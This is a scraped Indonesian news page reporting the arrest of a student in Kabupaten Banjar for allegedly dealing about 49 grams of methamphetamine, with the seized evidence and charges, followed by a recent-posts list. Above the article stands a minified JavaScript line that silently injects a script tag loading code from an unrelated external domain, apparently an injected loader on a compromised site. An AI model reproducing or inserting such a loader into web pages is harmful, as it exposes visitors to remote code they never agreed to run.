(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BANJAR

Mahasiswa Pengedar Narkoba Ditangkap, Polres Banjar Sita 49 Gram Sabu


KANALKALIMANTAN.COM, MARTAPURA – Seorang mahasiswa asal Kabupaten Banjar ditangkap karena diduga edarkan narkoba golongan I jenis sabu.

RD (23), ditangkap tim Reserse Narkoba Polres Banjar dengan barang bukti empat paket sabu seberat 49,18 gram.

Kapolres Banjar AKBP M Ifan Hariyat melalui Kasat Reserse Narkoba AKP Tatang Supriyadi mengatakan, penangkapan RD dilakukan pada Senin (28/10/2024) siang.

Baca juga: BRI UMKM EXPO (RT) 2025 Bikin UMKM Kamu Naik Kelas, Ini Cara Daftarnya

Anggota Satres Narkoba berhasil menangkap RD di Desa Bawahan Pasar, Kecamatan Mataraman, Kabupaten Banjar.

“RD sebagai mahasiswa ditangkap di sebuah pondok penjaga kandang ayam di Desa Bawahan Pasar Kecamatan Mataraman,” kata AKP Tatang.

Dari tangan tersangka RD, polisi mengamankan barang bukti berupa 1 paket sabu dengan berat bersih 42,32 gram, 3 paket sabu dengan berat bersih 6,86 gram.

Baca juga: Kelurahan Bersinar ke-12 di Banjarbaru, Ini Kata Pjs Wali Kota Nurliani

Turut disita barang bukti satu bundel plastik klip, 1 tas berwarna hitam, 1 timbangan digital, uang tunai sebesar Rp210.000, dan 1 unit ponsel merek ITEL warna hitam.

Saat ini, tersangka RD dan barang bukti telah ditahan di Mapolres Banjar untuk proses hukum lebih lanjut.

Berdasarkan hasil pemeriksaan awal, RD dijerat dengan pasal 114 ayat (2) subsider pasal 112 ayat (2) UU RI Nomor 35 Tahun 2009 tentang narkotika karena tersangka diduga melakukan penjualan, pembelian, dan menjadi perantara dalam transaksi narkoba jenis sabu.

Baca juga: BASAkalimantanWiki ke SMK PGRI Banjarbaru, Ajak Berpartisipasi Masalah Sampah

Kapolres Banjar melalui Kepala Satuan Reserse Narkoba Polres Banjar mengungkapkan bahwa pihaknya akan terus melakukan penyelidikan lebih lanjut terkait jaringan peredaran sabu yang melibatkan tersangka.

Kasus ini menjadi peringatan bagi masyarakat untuk tetap waspada terhadap peredaran Narkoba di lingkungan sekitar.

“Kami berkomitmen untuk memberantas peredaran Narkotika di wilayah Banjar demi menciptakan lingkungan yang lebih aman dan bersih dari penyalahgunaan Narkoba,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.